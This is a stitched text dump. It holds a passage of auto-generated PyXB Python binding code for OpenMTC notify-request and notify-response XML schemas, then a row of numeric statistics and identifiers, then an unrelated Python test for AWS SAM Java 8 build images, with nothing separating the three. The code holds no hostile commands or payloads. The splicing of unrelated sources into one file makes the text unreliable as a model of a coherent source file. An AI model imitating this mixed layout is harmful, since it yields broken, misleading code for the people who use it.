TrpdtType, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
23, 12)))
RequestNotify._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'RCAT'),
RcatType, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
24, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'contentTypeHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
25, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'acceptHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
26, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'ifModifiedSinceHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
27, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSinceHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
28, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'ifMatchHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
30, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'ifNoneMatchHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
31, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'xEtsiContactUriHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
32, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'xEtsiCorrelationIDHeader'),
pyxb.binding.datatypes.string, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
33, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'representation'),
_ImportedBinding__xmlmime.base64Binary, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
34, 12)))
def _BuildAutomaton_69():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_69
del _BuildAutomaton_69
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
17, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
19, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
20, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
21, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
23, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
24, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
25, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
26, 12))
counters.add(cc_7)
cc_8 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
27, 12))
counters.add(cc_8)
cc_9 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
28, 12))
counters.add(cc_9)
cc_10 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
30, 12))
counters.add(cc_10)
cc_11 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
31, 12))
counters.add(cc_11)
cc_12 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
34, 12))
counters.add(cc_12)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'requestingEntity')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
14, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'targetID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
15, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(
RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'method')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
16, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'filterCriteria')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
17, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = None
symbol = pyxb.binding.content.ElementUse(
RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'maxSize')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
19, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'searchPrefix')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
20, 12))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'groupRequestIdentifier')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
21, 12))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = None
symbol = pyxb.binding.content.ElementUse(
RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'TRPDT')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
23, 12))
st_7 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
final_update = None
symbol = pyxb.binding.content.ElementUse(
RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'RCAT')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
24, 12))
st_8 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_8)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'contentTypeHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
25, 12))
st_9 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_9)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'acceptHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
26, 12))
st_10 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_10)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'ifModifiedSinceHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
27, 12))
st_11 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_11)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSinceHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
28, 12))
st_12 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_12)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'ifMatchHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
30, 12))
st_13 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_13)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'ifNoneMatchHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
31, 12))
st_14 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_14)
final_update = None
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'xEtsiContactUriHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
32, 12))
st_15 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_15)
final_update = set()
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'xEtsiCorrelationIDHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
33, 12))
st_16 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_16)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_12, False))
symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'representation')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
34, 12))
st_17 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_17)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
transitions.append(fac.Transition(st_7, [
]))
transitions.append(fac.Transition(st_8, [
]))
transitions.append(fac.Transition(st_9, [
]))
transitions.append(fac.Transition(st_10, [
]))
transitions.append(fac.Transition(st_11, [
]))
transitions.append(fac.Transition(st_12, [
]))
transitions.append(fac.Transition(st_13, [
]))
transitions.append(fac.Transition(st_14, [
]))
transitions.append(fac.Transition(st_15, [
]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_0, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_1, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_2, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_3, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_4, False)]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_5, False)]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_6, False)]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, True)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_7, False)]))
st_10._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_8, True)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_8, False)]))
st_11._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_9, True)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_9, False)]))
st_12._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_10, True)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_10, False)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_10, False)]))
st_13._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_11, True)]))
transitions.append(fac.Transition(st_15, [
fac.UpdateInstruction(cc_11, False)]))
st_14._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_16, [
]))
st_15._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_17, [
]))
st_16._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_17, [
fac.UpdateInstruction(cc_12, True)]))
st_17._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
RequestNotify._Automaton = _BuildAutomaton_69()
ResponseNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'statusCode'), StatusCode,
scope=ResponseNotify, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 186,
4)))
ResponseNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'representation'),
_ImportedBinding__xmlmime.base64Binary, scope=ResponseNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
16, 12)))
ResponseNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'locationHeader'),
pyxb.binding.datatypes.string, scope=ResponseNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
18, 12)))
ResponseNotify._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'etagHeader'),
pyxb.binding.datatypes.string,
scope=ResponseNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
19, 12)))
ResponseNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'lastModifiedHeader'),
pyxb.binding.datatypes.string, scope=ResponseNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
20, 12)))
def _BuildAutomaton_70():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_70
del _BuildAutomaton_70
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
16, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
18, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
19, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
20, 12))
counters.add(cc_3)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'statusCode')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
15, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'representation')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
16, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'locationHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
18, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'etagHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
19, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag(
pyxb.namespace.ExpandedName(None, u'lastModifiedHeader')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd',
20, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ResponseNotify._Automaton = _BuildAutomaton_70()
| 48.775476 | 206 | 0.615886 | 53,264 | 494,437 | 5.56939 | 0.008505 | 0.085893 | 0.094482 | 0.114681 | 0.976693 | 0.973716 | 0.965676 | 0.957067 | 0.956764 | 0.955968 | 0 | 0.030961 | 0.272223 | 494,437 | 10,136 | 207 | 48.780288 | 0.793428 | 0.009213 | 0 | 0.909052 | 0 | 0.091266 | 0.132123 | 0.099375 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.008384 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ac66dc6f5ef1891b5ddbce484526c993527df3de | 13,029 | py | Python | tests/test_build_images.py | aws/aws-sam-build-images | 2d66d25d766e35498872d462456a80d43634e622 | [
"Apache-2.0"
] | 18 | 2021-03-12T22:14:49.000Z | 2022-03-14T14:32:37.000Z | tests/test_build_images.py | aws/aws-sam-build-images | 2d66d25d766e35498872d462456a80d43634e622 | [
"Apache-2.0"
] | 14 | 2021-04-02T13:59:55.000Z | 2022-01-27T14:52:00.000Z | tests/test_build_images.py | aws/aws-sam-build-images | 2d66d25d766e35498872d462456a80d43634e622 | [
"Apache-2.0"
] | 16 | 2021-03-15T17:36:37.000Z | 2022-02-23T06:38:23.000Z | import pytest
from tests.build_image_base_test import BuildImageBase
@pytest.mark.java8
class TestBIJava8(BuildImageBase):
__test__ = True
@classmethod
def setUpClass(cls):
super().setUpClass("java8", "Dockerfile-java8", "maven")
def test_packages(self):
"""
Test packages specific to this build image
"""
self.assertTrue(
self.check_package_output("java -version", 'openjdk version "1.8', True)
)
